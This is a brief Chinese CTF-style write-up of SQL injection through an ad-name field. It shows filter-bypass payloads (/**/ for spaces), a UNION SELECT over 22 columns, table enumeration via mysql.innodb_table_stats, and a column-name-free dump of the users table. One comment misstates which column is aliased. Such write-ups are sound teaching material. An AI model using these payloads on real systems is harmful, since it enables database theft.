打开页面,原本以为是二次注入,结果不是,先注册一个账户
在申请发布广告中,发现反射性xss(然而没有什么用
)
在广告申请名字中发现注入点
开始注入
通过一系列的测试,发现系统过滤了#,or,空格
order by不能使用,只能用union select来判断显示位
空格可以使用/**/绕过
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
因为or被过滤,information_schema不能使用
也可以通过mysql.innodb_table_stats,来获取表名
-1'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
表名知道了,但是列名怎么求?
这里我们使用无列名注入
1'/**/union/**/select/**/1,2,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select*from/**/users)s),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
(select group_concat(a) from (select 1,2 as a,3 union select*from users)s)
(select 1,2 as a,3 union select * from users)s
//意思是:查询user表中前三列的数据,并且把第三列重命名位a(我们不知道第三列的名字是什么),然后重命名为s.
(select group_concat(a) from s)
//意思是:查询s中a的值,也就是重命名后的第3列
-1'/**/union/**/select/**/1,2,(select/**/group_concat(a,'~',b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)s),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
参考无列名注入:https://zhuanlan.zhihu.com/p/98206699